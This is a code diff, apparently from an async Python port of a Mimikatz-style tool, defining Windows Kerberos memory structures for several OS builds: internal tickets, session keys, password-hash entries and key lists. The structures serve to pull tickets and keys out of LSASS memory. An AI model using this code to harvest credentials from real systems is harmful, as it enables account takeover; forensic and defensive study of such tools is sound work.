839 self.KDCServer = LSA_UNICODE_STRING(reader) # //?(reader).value
840 self.ClientName = PKERB_EXTERNAL_NAME(reader)
841 self.name0 = PVOID(reader).value
842 self.TicketFlags = int.from_bytes(reader.read(4), byteorder = 'big', signed = False)#ULONG(reader).value
843 self.unk2 = ULONG(reader).value
844 self.KeyType = ULONG(reader).value
845 reader.align()
846 self.Key = KIWI_KERBEROS_BUFFER(reader)
847 self.unk3 = PVOID(reader).value
848 self.unk4 = PVOID(reader).value
849 self.unk5 = PVOID(reader).value
850 self.StartTime = FILETIME(reader).value
851 self.EndTime = FILETIME(reader).value
852 self.RenewUntil = FILETIME(reader).value
853 self.unk6 = ULONG(reader).value
854 self.unk7 = ULONG(reader).value
855 self.domain = PCWSTR(reader).value
856 self.unk8 = ULONG(reader).value
857 reader.align()
858 self.strangeNames = PVOID(reader).value
859 self.unk9 = ULONG(reader).value
860 self.TicketEncType = ULONG(reader).value
861 self.TicketKvno = ULONG(reader).value
862 reader.align()
863 self.Ticket = KIWI_KERBEROS_BUFFER(reader)
1444 def __init__(self):
1445 self.Flink = None
1446 self.Blink = None
1447 self.unk0 = None
1448 self.unk1 = None
1449 self.ServiceName = None
1450 self.TargetName = None
1451 self.DomainName = None
1452 self.TargetDomainName = None
1453 self.Description = None
1454 self.AltTargetDomainName = None
1455 self.KDCServer = None
1456 self.ClientName = None
1457 self.name0 = None
1458 self.TicketFlags = None
1459 self.unk2 = None
1460 self.KeyType = None
1461 self.Key = None
1462 self.unk3 = None
1463 self.unk4 = None
1464 self.unk5 = None
1465 self.StartTime = None
1466 self.EndTime = None
1467 self.RenewUntil = None
1468 self.unk6 = None
1469 self.unk7 = None
1470 self.domain = None
1471 self.unk8 = None
1472 self.strangeNames = None
1473 self.unk9 = None
1474 self.TicketEncType = None
1475 self.TicketKvno = None
1476 self.Ticket = None
1477
1478 @staticmethod
1479 async def load(reader):
1480 res = KIWI_KERBEROS_INTERNAL_TICKET_6()
1481 res.Flink = await PKIWI_KERBEROS_INTERNAL_TICKET_6.load(reader)
1482 res.Blink = await PKIWI_KERBEROS_INTERNAL_TICKET_6.load(reader)
1483 res.unk0 = await PVOID.loadvalue(reader)
1484 res.unk1 = await PVOID.loadvalue(reader)
1485 res.ServiceName = await PKERB_EXTERNAL_NAME.load(reader)
1486 res.TargetName = await PKERB_EXTERNAL_NAME.load(reader)
1487 res.DomainName = await LSA_UNICODE_STRING.load(reader)
1488 res.TargetDomainName = await LSA_UNICODE_STRING.load(reader)
1489 res.Description = await LSA_UNICODE_STRING.load(reader)
1490 res.AltTargetDomainName = await LSA_UNICODE_STRING.load(reader)
1491 res.KDCServer = await LSA_UNICODE_STRING.load(reader) # //?(reader).value
1492 res.ClientName = await PKERB_EXTERNAL_NAME.load(reader)
1493 res.name0 = await PVOID.loadvalue(reader)
1494 x = await reader.read(4)
1495 res.TicketFlags = int.from_bytes(x, byteorder = 'big', signed = False)#ULONG(reader).value
1496 res.unk2 = await ULONG.loadvalue(reader)
1497 res.KeyType = await ULONG.loadvalue(reader)
1498 await reader.align()
1499 res.Key = await KIWI_KERBEROS_BUFFER.load(reader)
1500 res.unk3 = await PVOID.loadvalue(reader)
1501 res.unk4 = await PVOID.loadvalue(reader)
1502 res.unk5 = await PVOID.loadvalue(reader)
1503 res.StartTime = await FILETIME.loadvalue(reader)
1504 res.EndTime = await FILETIME.loadvalue(reader)
1505 res.RenewUntil = await FILETIME.loadvalue(reader)
1506 res.unk6 = await ULONG.loadvalue(reader)
1507 res.unk7 = await ULONG.loadvalue(reader)
1508 res.domain = await PCWSTR.loadvalue(reader)
1509 res.unk8 = await ULONG.loadvalue(reader)
1510 await reader.align()
1511 res.strangeNames = await PVOID.loadvalue(reader)
1512 res.unk9 = await ULONG.loadvalue(reader)
1513 res.TicketEncType = await ULONG.loadvalue(reader)
1514 res.TicketKvno = await ULONG.loadvalue(reader)
1515 await reader.align()
1516 res.Ticket = await KIWI_KERBEROS_BUFFER.load(reader)
1517 return res
8641518
8651519 class PKIWI_KERBEROS_INTERNAL_TICKET_10(POINTER):
866 def __init__(self, reader):
867 super().__init__(reader, KIWI_KERBEROS_INTERNAL_TICKET_10)
1520 def __init__(self):
1521 super().__init__()
1522
1523 @staticmethod
1524 async def load(reader):
1525 p = PKIWI_KERBEROS_INTERNAL_TICKET_10()
1526 p.location = reader.tell()
1527 p.value = await reader.read_uint()
1528 p.finaltype = KIWI_KERBEROS_INTERNAL_TICKET_10
1529 return p
8681530
8691531 class KIWI_KERBEROS_INTERNAL_TICKET_10:
870 def __init__(self, reader):
1532 def __init__(self):
8711533 #input('KIWI_KERBEROS_INTERNAL_TICKET_10\n' + hexdump(reader.peek(0x100)))
872 self.Flink = PKIWI_KERBEROS_INTERNAL_TICKET_10(reader)
873 self.Blink = PKIWI_KERBEROS_INTERNAL_TICKET_10(reader)
874 self.unk0 = PVOID(reader).value
875 self.unk1 = PVOID(reader).value
876 self.ServiceName = PKERB_EXTERNAL_NAME(reader)
877 self.TargetName = PKERB_EXTERNAL_NAME(reader)
878 self.DomainName = LSA_UNICODE_STRING(reader)
879 self.TargetDomainName = LSA_UNICODE_STRING(reader)
880 self.Description = LSA_UNICODE_STRING(reader)
881 self.AltTargetDomainName = LSA_UNICODE_STRING(reader)
882 self.KDCServer = LSA_UNICODE_STRING# //?(reader).value
883 self.unk10586_d = LSA_UNICODE_STRING# //?(reader).value
884 self.ClientName = PKERB_EXTERNAL_NAME(reader)
885 self.name0 = PVOID(reader).value
886 self.TicketFlags = int.from_bytes(reader.read(4), byteorder = 'big', signed = False)
887 self.unk2 = ULONG(reader).value
888 self.KeyType = ULONG(reader).value
889 reader.align()
890 self.Key = KIWI_KERBEROS_BUFFER(reader)
891 self.unk3 = PVOID(reader).value
892 self.unk4 = PVOID(reader).value
893 self.unk5 = PVOID(reader).value
894 reader.align(8)
895 self.StartTime = FILETIME(reader).value
896 self.EndTime = FILETIME(reader).value
897 self.RenewUntil = FILETIME(reader).value
898 self.unk6 = ULONG(reader).value
899 self.unk7 = ULONG(reader).value
900 self.domain = PCWSTR(reader).value
901 self.unk8 = ULONG(reader).value
902 reader.align()
903 self.strangeNames = PVOID(reader).value
904 self.unk9 = ULONG(reader).value
905 self.TicketEncType = ULONG(reader).value
906 self.TicketKvno = ULONG(reader).value
907 reader.align()
908 self.Ticket = KIWI_KERBEROS_BUFFER(reader)
1534 self.Flink = None
1535 self.Blink = None
1536 self.unk0 = None
1537 self.unk1 = None
1538 self.ServiceName = None
1539 self.TargetName = None
1540 self.DomainName = None
1541 self.TargetDomainName = None
1542 self.Description = None
1543 self.AltTargetDomainName = None
1544 self.KDCServer = None
1545 self.unk10586_d = None
1546 self.ClientName = None
1547 self.name0 = None
1548 self.TicketFlags = None
1549 self.unk2 = None
1550 self.KeyType = None
1551 self.Key = None
1552 self.unk3 = None
1553 self.unk4 = None
1554 self.unk5 = None
1555 self.StartTime = None
1556 self.EndTime = None
1557 self.RenewUntil = None
1558 self.unk6 = None
1559 self.unk7 = None
1560 self.domain = None
1561 self.unk8 = None
1562 self.strangeNames = None
1563 self.unk9 = None
1564 self.TicketEncType = None
1565 self.TicketKvno = None
1566 self.Ticket = None
1567
1568 @staticmethod
1569 async def load(reader):
1570 res = KIWI_KERBEROS_INTERNAL_TICKET_10()
1571 res.Flink = await PKIWI_KERBEROS_INTERNAL_TICKET_10.load(reader)
1572 res.Blink = await PKIWI_KERBEROS_INTERNAL_TICKET_10.load(reader)
1573 res.unk0 = await PVOID.loadvalue(reader)
1574 res.unk1 = await PVOID.loadvalue(reader)
1575 res.ServiceName = await PKERB_EXTERNAL_NAME.load(reader)
1576 res.TargetName = await PKERB_EXTERNAL_NAME.load(reader)
1577 res.DomainName = await LSA_UNICODE_STRING.load(reader)
1578 res.TargetDomainName = await LSA_UNICODE_STRING.load(reader)
1579 res.Description = await LSA_UNICODE_STRING.load(reader)
1580 res.AltTargetDomainName = await LSA_UNICODE_STRING.load(reader)
1581 res.KDCServer = await LSA_UNICODE_STRING.load(reader)# //?(reader).value
1582 res.unk10586_d = await LSA_UNICODE_STRING.load(reader)# //?(reader).value
1583 res.ClientName = await PKERB_EXTERNAL_NAME.load(reader)
1584 res.name0 = await PVOID.loadvalue(reader)
1585 x = await reader.read(4)
1586 res.TicketFlags = int.from_bytes(x, byteorder = 'big', signed = False)
1587 res.unk2 = await ULONG.loadvalue(reader)
1588 res.KeyType = await ULONG.loadvalue(reader)
1589 await reader.align()
1590 res.Key = await KIWI_KERBEROS_BUFFER.load(reader)
1591 res.unk3 = await PVOID.loadvalue(reader)
1592 res.unk4 = await PVOID.loadvalue(reader)
1593 res.unk5 = await PVOID.loadvalue(reader)
1594 await reader.align(8)
1595 res.StartTime = await FILETIME.loadvalue(reader)
1596 res.EndTime = await FILETIME.loadvalue(reader)
1597 res.RenewUntil = await FILETIME.loadvalue(reader)
1598 res.unk6 = await ULONG.loadvalue(reader)
1599 res.unk7 = await ULONG.loadvalue(reader)
1600 res.domain = await PCWSTR.loadvalue(reader)
1601 res.unk8 = await ULONG.loadvalue(reader)
1602 await reader.align()
1603 res.strangeNames = await PVOID.loadvalue(reader)
1604 res.unk9 = await ULONG.loadvalue(reader)
1605 res.TicketEncType = await ULONG.loadvalue(reader)
1606 res.TicketKvno = await ULONG.loadvalue(reader)
1607 await reader.align()
1608 res.Ticket = await KIWI_KERBEROS_BUFFER.load(reader)
1609
1610 class PKIWI_KERBEROS_INTERNAL_TICKET_11(POINTER):
1611 def __init__(self):
1612 super().__init__()
1613
1614 @staticmethod
1615 async def load(reader):
1616 p = PKIWI_KERBEROS_INTERNAL_TICKET_11()
1617 p.location = reader.tell()
1618 p.value = await reader.read_uint()
1619 p.finaltype = KIWI_KERBEROS_INTERNAL_TICKET_11
1620 return p
1621
1622
1623 class KIWI_KERBEROS_INTERNAL_TICKET_11:
1624 def __init__(self):
1625 self.Flink = None
1626 self.Blink = None
1627 self.unk0 = None
1628 self.unk1 = None
1629 self.ServiceName = None
1630 self.TargetName = None
1631 self.DomainName = None
1632 self.TargetDomainName = None
1633 self.Description = None
1634 self.AltTargetDomainName = None
1635 self.KDCServer = None
1636 self.unk10586_d = None
1637 self.ClientName = None
1638 self.name0 = None
1639 self.TicketFlags = None
1640 self.unk2 = None
1641 self.unk14393_0 = None
1642 self.unk2x = None
1643 self.KeyType = None
1644 self.Key = None
1645 self.unk14393_1 = None
1646 self.unk3 = None
1647 self.unk4 = None
1648 self.unk5 = None
1649 self.StartTime = None
1650 self.EndTime = None
1651 self.RenewUntil = None
1652 self.unk6 = None
1653 self.unk7 = None
1654 self.domain = None
1655 self.unk8 = None
1656 self.strangeNames = None
1657 self.unk9 = None
1658 self.TicketEncType = None
1659 self.TicketKvno = None
1660 self.Ticket = None
1661
1662
1663 @staticmethod
1664 async def load(reader):
1665 res = KIWI_KERBEROS_INTERNAL_TICKET_11()
1666 res.Flink = await PKIWI_KERBEROS_INTERNAL_TICKET_11.load(reader)
1667 res.Blink = await PKIWI_KERBEROS_INTERNAL_TICKET_11.load(reader)
1668 res.unk0 = await PVOID.loadvalue(reader)
1669 res.unk1 = await PVOID.loadvalue(reader)
1670 res.ServiceName = await PKERB_EXTERNAL_NAME.load(reader)
1671 res.TargetName = await PKERB_EXTERNAL_NAME.load(reader)
1672 res.DomainName = await LSA_UNICODE_STRING.load(reader)
1673 res.TargetDomainName = await LSA_UNICODE_STRING.load(reader)
1674 res.Description = await LSA_UNICODE_STRING.load(reader)
1675 res.AltTargetDomainName = await LSA_UNICODE_STRING.load(reader)
1676 res.KDCServer = await LSA_UNICODE_STRING.load(reader) # //?(reader).value
1677 res.unk10586_d = await LSA_UNICODE_STRING.load(reader) #//?(reader).value
1678 res.ClientName = await PKERB_EXTERNAL_NAME.load(reader)
1679 res.name0 = await PVOID.loadvalue(reader)
1680 x = await reader.read(4)
1681 res.TicketFlags = int.from_bytes(x, byteorder = 'big', signed = False)
1682 res.unk2 = await ULONG.loadvalue(reader)
1683 res.unk14393_0 = await PVOID.loadvalue(reader)
1684 res.unk2x = await ULONG.loadvalue(reader)
1685 res.KeyType = await ULONG.loadvalue(reader)
1686 res.Key = await KIWI_KERBEROS_BUFFER.load(reader)
1687 res.unk14393_1 = await PVOID.loadvalue(reader)
1688 res.unk3 = await PVOID.loadvalue(reader) # // ULONG KeyType2 = (reader).value
1689 res.unk4 = await PVOID.loadvalue(reader) # // KIWI_KERBEROS_BUFFER Key2 = (reader).value
1690 res.unk5 = await PVOID.loadvalue(reader) # // up(reader).value
1691 res.StartTime = await FILETIME.loadvalue(reader)
1692 res.EndTime = await FILETIME.loadvalue(reader)
1693 res.RenewUntil = await FILETIME.loadvalue(reader)
1694 res.unk6 = await ULONG.loadvalue(reader)
1695 res.unk7 = await ULONG.loadvalue(reader)
1696 res.domain = await PCWSTR.loadvalue(reader)
1697 res.unk8 = await ULONG.loadvalue(reader)
1698 await reader.align()
1699 res.strangeNames = await PVOID.loadvalue(reader)
1700 res.unk9 = await ULONG.loadvalue(reader)
1701 res.TicketEncType = await ULONG.loadvalue(reader)
1702 res.TicketKvno = await ULONG.loadvalue(reader)
1703 await reader.align()
1704 res.Ticket = await KIWI_KERBEROS_BUFFER.load(reader)
1705
1706 return res
9091707
9101708 class PKIWI_KERBEROS_INTERNAL_TICKET_10_1607(POINTER):
911 def __init__(self, reader):
912 super().__init__(reader, KIWI_KERBEROS_INTERNAL_TICKET_10_1607)
1709 def __init__(self):
1710 super().__init__()
1711
1712 @staticmethod
1713 async def load(reader):
1714 p = PKIWI_KERBEROS_INTERNAL_TICKET_10_1607()
1715 p.location = reader.tell()
1716 p.value = await reader.read_uint()
1717 p.finaltype = KIWI_KERBEROS_INTERNAL_TICKET_10_1607
1718 return p
9131719
9141720
9151721 class KIWI_KERBEROS_INTERNAL_TICKET_10_1607:
916 def __init__(self, reader):
917 #input('KIWI_KERBEROS_INTERNAL_TICKET_10_1607\n' + hexdump(reader.peek(0x300)))
918 self.Flink = PKIWI_KERBEROS_INTERNAL_TICKET_10_1607(reader)
919 self.Blink = PKIWI_KERBEROS_INTERNAL_TICKET_10_1607(reader)
920 self.unk0 = PVOID(reader).value
921 self.unk1 = PVOID(reader).value
922 self.ServiceName = PKERB_EXTERNAL_NAME(reader)
923 self.TargetName = PKERB_EXTERNAL_NAME(reader)
924 self.DomainName = LSA_UNICODE_STRING(reader)
925 self.TargetDomainName = LSA_UNICODE_STRING(reader)
926 self.Description = LSA_UNICODE_STRING(reader)
927 self.AltTargetDomainName = LSA_UNICODE_STRING(reader)
928 self.KDCServer = LSA_UNICODE_STRING(reader) # //?(reader).value
929 self.unk10586_d = LSA_UNICODE_STRING(reader) #//?(reader).value
930 self.ClientName = PKERB_EXTERNAL_NAME(reader)
931 self.name0 = PVOID(reader).value
932 self.TicketFlags = int.from_bytes(reader.read(4), byteorder = 'big', signed = False)
933 self.unk2 = ULONG(reader).value
934 self.unk14393_0 = PVOID(reader).value
935 self.KeyType = ULONG(reader).value
936 reader.align()
937 self.Key = KIWI_KERBEROS_BUFFER(reader)
938 self.unk14393_1 = PVOID(reader).value
939 self.unk3 = PVOID(reader).value # // ULONG KeyType2 = (reader).value
940 self.unk4 = PVOID(reader).value # // KIWI_KERBEROS_BUFFER Key2 = (reader).value
941 self.unk5 = PVOID(reader).value # // up(reader).value
942 self.StartTime = FILETIME(reader).value
943 self.EndTime = FILETIME(reader).value
944 self.RenewUntil = FILETIME(reader).value
945 self.unk6 = ULONG(reader).value
946 self.unk7 = ULONG(reader).value
947 self.domain = PCWSTR(reader).value
948 self.unk8 = ULONG(reader).value
949 reader.align()
950 self.strangeNames = PVOID(reader).value
951 self.unk9 = ULONG(reader).value
952 self.TicketEncType = ULONG(reader).value
953 self.TicketKvno = ULONG(reader).value
954 reader.align()
955 self.Ticket = KIWI_KERBEROS_BUFFER(reader)
1722 def __init__(self):
1723 self.Flink = None
1724 self.Blink = None
1725 self.unk0 = None
1726 self.unk1 = None
1727 self.ServiceName = None
1728 self.TargetName = None
1729 self.DomainName = None
1730 self.TargetDomainName = None
1731 self.Description = None
1732 self.AltTargetDomainName = None
1733 self.KDCServer = None
1734 self.unk10586_d = None
1735 self.ClientName = None
1736 self.name0 = None
1737 self.TicketFlags = None
1738 self.unk2 = None
1739 self.unk14393_0 = None
1740 self.KeyType = None
1741 self.Key = None
1742 self.unk14393_1 = None
1743 self.unk3 = None
1744 self.unk4 = None
1745 self.unk5 = None
1746 self.StartTime = None
1747 self.EndTime = None
1748 self.RenewUntil = None
1749 self.unk6 = None
1750 self.unk7 = None
1751 self.domain = None
1752 self.unk8 = None
1753 self.strangeNames = None
1754 self.unk9 = None
1755 self.TicketEncType = None
1756 self.TicketKvno = None
1757 self.Ticket = None
1758
1759
1760 @staticmethod
1761 async def load(reader):
1762 res = KIWI_KERBEROS_INTERNAL_TICKET_10_1607()
1763 res.Flink = await PKIWI_KERBEROS_INTERNAL_TICKET_10_1607.load(reader)
1764 res.Blink = await PKIWI_KERBEROS_INTERNAL_TICKET_10_1607.load(reader)
1765 res.unk0 = await PVOID.loadvalue(reader)
1766 res.unk1 = await PVOID.loadvalue(reader)
1767 res.ServiceName = await PKERB_EXTERNAL_NAME.load(reader)
1768 res.TargetName = await PKERB_EXTERNAL_NAME.load(reader)
1769 res.DomainName = await LSA_UNICODE_STRING.load(reader)
1770 res.TargetDomainName = await LSA_UNICODE_STRING.load(reader)
1771 res.Description = await LSA_UNICODE_STRING.load(reader)
1772 res.AltTargetDomainName = await LSA_UNICODE_STRING.load(reader)
1773 res.KDCServer = await LSA_UNICODE_STRING.load(reader) # //?(reader).value
1774 res.unk10586_d = await LSA_UNICODE_STRING.load(reader) #//?(reader).value
1775 res.ClientName = await PKERB_EXTERNAL_NAME.load(reader)
1776 res.name0 = await PVOID.loadvalue(reader)
1777 x = await reader.read(4)
1778 res.TicketFlags = int.from_bytes(x, byteorder = 'big', signed = False)
1779 res.unk2 = await ULONG.loadvalue(reader)
1780 res.unk14393_0 = await PVOID.loadvalue(reader)
1781 res.KeyType = await ULONG.loadvalue(reader)
1782 await reader.align()
1783 res.Key = await KIWI_KERBEROS_BUFFER.load(reader)
1784 res.unk14393_1 = await PVOID.loadvalue(reader)
1785 res.unk3 = await PVOID.loadvalue(reader) # // ULONG KeyType2 = (reader).value
1786 res.unk4 = await PVOID.loadvalue(reader) # // KIWI_KERBEROS_BUFFER Key2 = (reader).value
1787 res.unk5 = await PVOID.loadvalue(reader) # // up(reader).value
1788 res.StartTime = await FILETIME.loadvalue(reader)
1789 res.EndTime = await FILETIME.loadvalue(reader)
1790 res.RenewUntil = await FILETIME.loadvalue(reader)
1791 res.unk6 = await ULONG.loadvalue(reader)
1792 res.unk7 = await ULONG.loadvalue(reader)
1793 res.domain = await PCWSTR.loadvalue(reader)
1794 res.unk8 = await ULONG.loadvalue(reader)
1795 await reader.align()
1796 res.strangeNames = await PVOID.loadvalue(reader)
1797 res.unk9 = await ULONG.loadvalue(reader)
1798 res.TicketEncType = await ULONG.loadvalue(reader)
1799 res.TicketKvno = await ULONG.loadvalue(reader)
1800 await reader.align()
1801 res.Ticket = await KIWI_KERBEROS_BUFFER.load(reader)
1802
1803 return res
9561804
9571805 class PKERB_HASHPASSWORD_GENERIC(POINTER):
958 def __init__(self, reader):
959 super().__init__(reader, KERB_HASHPASSWORD_GENERIC)
1806 def __init__(self):
1807 super().__init__()
1808
1809 @staticmethod
1810 async def load(reader):
1811 p = PKERB_HASHPASSWORD_GENERIC()
1812 p.location = reader.tell()
1813 p.value = await reader.read_uint()
1814 p.finaltype = KERB_HASHPASSWORD_GENERIC
1815 return p
9601816
9611817 class KERB_HASHPASSWORD_GENERIC:
962 def __init__(self, reader):
963 #print('KERB_HASHPASSWORD_GENERIC')
964 #print(hexdump(reader.peek(0x50), start = reader.tell()))
965 self.Type = DWORD(reader).value
966 reader.align()
967 self.Size = SIZE_T(reader).value
968 self.Checksump = PVOID(reader) #this holds the actual credentials dunno why it's named this way...
1818 def __init__(self):
1819 self.Type = None
1820 self.Size = None
1821 self.Checksump = None
1822
1823 @staticmethod
1824 async def load(reader):
1825 res = KERB_HASHPASSWORD_GENERIC()
1826 res.Type = await DWORD.loadvalue(reader)
1827 await reader.align()
1828 res.Size = await SIZE_T.loadvalue(reader)
1829 res.Checksump = await PVOID.loadvalue(reader)
1830 return res
1831
9691832
9701833 class PKERB_HASHPASSWORD_5(POINTER):
971 def __init__(self, reader):
972 super().__init__(reader, KERB_HASHPASSWORD_5)
1834 def __init__(self):
1835 super().__init__()
1836
1837 @staticmethod
1838 async def load(reader):
1839 p = PKERB_HASHPASSWORD_5()
1840 p.location = reader.tell()
1841 p.value = await reader.read_uint()
1842 p.finaltype = KERB_HASHPASSWORD_5
1843 return p
9731844
9741845 class KERB_HASHPASSWORD_5:
975 def __init__(self, reader):
976 self.salt = LSA_UNICODE_STRING(reader) # // http://tools.ietf.org/html/rfc3962
977 self.generic = KERB_HASHPASSWORD_GENERIC(reader)
1846 def __init__(self):
1847 self.salt = None
1848 self.generic = None
1849
1850 @staticmethod
1851 async def load(reader):
1852 res = KERB_HASHPASSWORD_5()
1853 res.salt = await LSA_UNICODE_STRING.load(reader) # // http://tools.ietf.org/html/rfc3962
1854 res.generic = await KERB_HASHPASSWORD_GENERIC.load(reader)
1855 return res
9781856
9791857 class PKERB_HASHPASSWORD_6(POINTER):
980 def __init__(self, reader):
981 super().__init__(reader, KERB_HASHPASSWORD_6)
1858 def __init__(self):
1859 super().__init__()
1860
1861 @staticmethod
1862 async def load(reader):
1863 p = PKERB_HASHPASSWORD_6()
1864 p.location = reader.tell()
1865 p.value = await reader.read_uint()
1866 p.finaltype = KERB_HASHPASSWORD_6
1867 return p
9821868
9831869 class KERB_HASHPASSWORD_6 :
984 def __init__(self, reader):
985 #print('KERB_HASHPASSWORD_6')
986 #input(hexdump(reader.peek(0x100), start = reader.tell()))
987 self.salt = LSA_UNICODE_STRING(reader) #// http://tools.ietf.org/html/rfc3962
988 self.stringToKey = PVOID(reader) # // AES Iterations (dword ?)
989 self.generic = KERB_HASHPASSWORD_GENERIC(reader)
990
1870 def __init__(self):
1871 self.salt = None
1872 self.stringToKey = None
1873 self.generic = None
1874
1875 @staticmethod
1876 async def load(reader):
1877 res = KERB_HASHPASSWORD_6()
1878 res.salt = await LSA_UNICODE_STRING.load(reader) #// http://tools.ietf.org/html/rfc3962
1879 res.stringToKey = await PVOID.load(reader) # // AES Iterations (dword ?)
1880 res.generic = await KERB_HASHPASSWORD_GENERIC.load(reader)
1881 return res
9911882
9921883 class PKERB_HASHPASSWORD_6_1607(POINTER):
993 def __init__(self, reader):
994 super().__init__(reader, KERB_HASHPASSWORD_6_1607)
1884 def __init__(self):
1885 super().__init__()
1886
1887 @staticmethod
1888 async def load(reader):
1889 p = PKERB_HASHPASSWORD_6_1607()
1890 p.location = reader.tell()
1891 p.value = await reader.read_uint()
1892 p.finaltype = KERB_HASHPASSWORD_6_1607
1893 return p
1894
1895
9951896 class KERB_HASHPASSWORD_6_1607:
996 def __init__(self, reader):
997 self.salt = LSA_UNICODE_STRING(reader) # // http://tools.ietf.org/html/rfc3962(reader).value
998 self.stringToKey = PVOID(reader).value # // AES Iterations (dword ?)(reader).value
999 self.unk0 = PVOID(reader).value
1000 self.generic = KERB_HASHPASSWORD_GENERIC(reader)
1897 def __init__(self):
1898 self.salt = None
1899 self.stringToKey = None
1900 self.unk0 = None
1901 self.generic = None
1902
1903 @staticmethod
1904 async def load(reader):
1905 res = KERB_HASHPASSWORD_6_1607()
1906 res.salt = await LSA_UNICODE_STRING.load(reader) # // http://tools.ietf.org/html/rfc3962(reader).value
1907 res.stringToKey = await PVOID.loadvalue(reader) # // AES Iterations (dword ?)(reader).value
1908 res.unk0 = await PVOID.loadvalue(reader)
1909 res.generic = await KERB_HASHPASSWORD_GENERIC.load(reader)
1910 return res
10011911
10021912 class PKIWI_KERBEROS_KEYS_LIST_5(POINTER):
1003 def __init__(self, reader):
1004 super().__init__(reader, KIWI_KERBEROS_KEYS_LIST_5)
1913 def __init__(self):
1914 super().__init__()
1915
1916 @staticmethod
1917 async def load(reader):
1918 p = PKIWI_KERBEROS_KEYS_LIST_5()
1919 p.location = reader.tell()
1920 p.value = await reader.read_uint()
1921 p.finaltype = KIWI_KERBEROS_KEYS_LIST_5
1922 return p
10051923
10061924 class KIWI_KERBEROS_KEYS_LIST_5:
1007 def __init__(self, reader):
1008 self.unk0 = DWORD(reader).value #// dword_1233EC8 dd 4
1009 self.cbItem = DWORD(reader).value #// debug048:01233ECC dd 5(reader).value
1010 self.unk1 = PVOID(reader).value
1011 self.unk2 = PVOID(reader).value
1925 def __init__(self):
1926 self.unk0 = None
1927 self.cbItem = None
1928 self.unk1 = None
1929 self.unk2 = None
10121930 #//KERB_HASHPASSWORD_5 KeysEntries[ANYSIZE_ARRAY] = (reader).value
1013 self.KeyEntries_start = reader.tell()
1931 self.KeyEntries_start = None
10141932 self.KeyEntries = []
10151933
1016 def read(self, reader, keyentries_type):
1017 reader.move(self.KeyEntries_start)
1934 async def read(self, reader, keyentries_type):
1935 await reader.move(self.KeyEntries_start)
10181936 for _ in range(self.cbItem):
1019 self.KeyEntries.append(keyentries_type(reader))
1937 ke = await keyentries_type.load(reader)
1938 self.KeyEntries.append(ke)
1939
1940 @staticmethod
1941 async def load(reader):
1942 res = KIWI_KERBEROS_KEYS_LIST_5()
1943 res.unk0 = await DWORD.loadvalue(reader) #// dword_1233EC8 dd 4
1944 res.cbItem = await DWORD.loadvalue(reader) #// debug048:01233ECC dd 5(reader).value
1945 res.unk1 = await PVOID.loadvalue(reader)
1946 res.unk2 = await PVOID.loadvalue(reader)
1947 res.KeyEntries_start = reader.tell()
1948 return res
1949
10201950
10211951 class PKIWI_KERBEROS_KEYS_LIST_6(POINTER):
1022 def __init__(self, reader):
1023 super().__init__(reader, KIWI_KERBEROS_KEYS_LIST_6)
1952 def __init__(self):
1953 super().__init__()
1954
1955 @staticmethod
1956 async def load(reader):
1957 p = PKIWI_KERBEROS_KEYS_LIST_6()
1958 p.location = reader.tell()
1959 p.value = await reader.read_uint()
1960 p.finaltype = KIWI_KERBEROS_KEYS_LIST_6
1961 return p
1962
10241963 class KIWI_KERBEROS_KEYS_LIST_6:
1025 def __init__(self, reader):
1026 #print('KIWI_KERBEROS_KEYS_LIST_6')
1027 #print(hexdump(reader.peek(0x100), start = reader.tell()))
1028 self.unk0 = DWORD(reader).value # // dword_1233EC8 dd 4(reader).value
1029 self.cbItem = DWORD(reader).value # // debug048:01233ECC dd 5(reader).value
1030 self.unk1 = PVOID(reader).value
1031 self.unk2 = PVOID(reader).value
1032 self.unk3 = PVOID(reader).value
1033 self.unk4 = PVOID(reader).value
1034 self.KeyEntries_start = reader.tell()
1964 def __init__(self):
1965 self.unk0 = None # // dword_1233EC8 dd 4(reader).value
1966 self.cbItem = None # // debug048:01233ECC dd 5(reader).value
1967 self.unk1 = None
1968 self.unk2 = None
1969 self.unk3 = None
1970 self.unk4 = None
1971 self.KeyEntries_start = None
10351972 self.KeyEntries = []
10361973
1037 def read(self, reader, keyentries_type):
1038 reader.move(self.KeyEntries_start)
1974 async def read(self, reader, keyentries_type):
1975 await reader.move(self.KeyEntries_start)
10391976 for _ in range(self.cbItem):
1040 self.KeyEntries.append(keyentries_type(reader))
1977 ke = await keyentries_type.load(reader)
1978 self.KeyEntries.append(ke)
10411979 #//KERB_HASHPASSWORD_6 KeysEntries[ANYSIZE_ARRAY] = (reader).value
1980
1981 @staticmethod
1982 async def load(reader):
1983 res = KIWI_KERBEROS_KEYS_LIST_6()
1984 res.unk0 = await DWORD.loadvalue(reader) # // dword_1233EC8 dd 4(reader).value
1985 res.cbItem = await DWORD.loadvalue(reader) # // debug048:01233ECC dd 5(reader).value
1986 res.unk1 = await PVOID.loadvalue(reader)
1987 res.unk2 = await PVOID.loadvalue(reader)
1988 res.unk3 = await PVOID.loadvalue(reader)
1989 res.unk4 = await PVOID.loadvalue(reader)
1990 res.KeyEntries_start = reader.tell()
1991 return res
10421992
10431993 class PKIWI_KERBEROS_ENUM_DATA_TICKET(POINTER):
1044 def __init__(self, reader):
1045 super().__init__(reader, KIWI_KERBEROS_ENUM_DATA_TICKET)
1994 def __init__(self):
1995 super().__init__()
1996
1997 @staticmethod
1998 async def load(reader):
1999 p = PKIWI_KERBEROS_ENUM_DATA_TICKET()
2000 p.location = reader.tell()
2001 p.value = await reader.read_uint()
2002 p.finaltype = KIWI_KERBEROS_ENUM_DATA_TICKET
2003 return p
2004
10462005 class KIWI_KERBEROS_ENUM_DATA_TICKET:
1047 def __init__(self, reader):
1048 self.isTicketExport = BOOL(reader).value
1049 self.isFullTicket = BOOL(reader).value
2006 def __init__(self):
2007 self.isTicketExport = None
2008 self.isFullTicket = None
2009
2010 @staticmethod
2011 async def load(reader):
2012 res = KIWI_KERBEROS_ENUM_DATA_TICKET()
2013 res.isTicketExport = await BOOL.loadvalue(reader)
2014 res.isFullTicket = await BOOL.loadvalue(reader)
2015 return res
10502016
10512017 class KIWI_KERBEROS_BUFFER:
1052 def __init__(self, reader):
1053 self.Length = ULONG(reader).value
1054 reader.align()
1055 self.Value = PVOID(reader)
2018 def __init__(self):
2019 self.Length = None
2020 self.Value = None
10562021
10572022 ##not part of struct
10582023 self.Data = None
10592024
1060 def read(self, reader):
1061 self.Data = self.Value.read_raw(reader, self.Length)
1062 return self.Data
2025 async def read(self, reader):
2026 await reader.move(self.Value.value)
2027 self.Data = await reader.read(self.Length)
2028 return self.Data
2029
2030 @staticmethod
2031 async def load(reader):
2032 res = KIWI_KERBEROS_BUFFER()
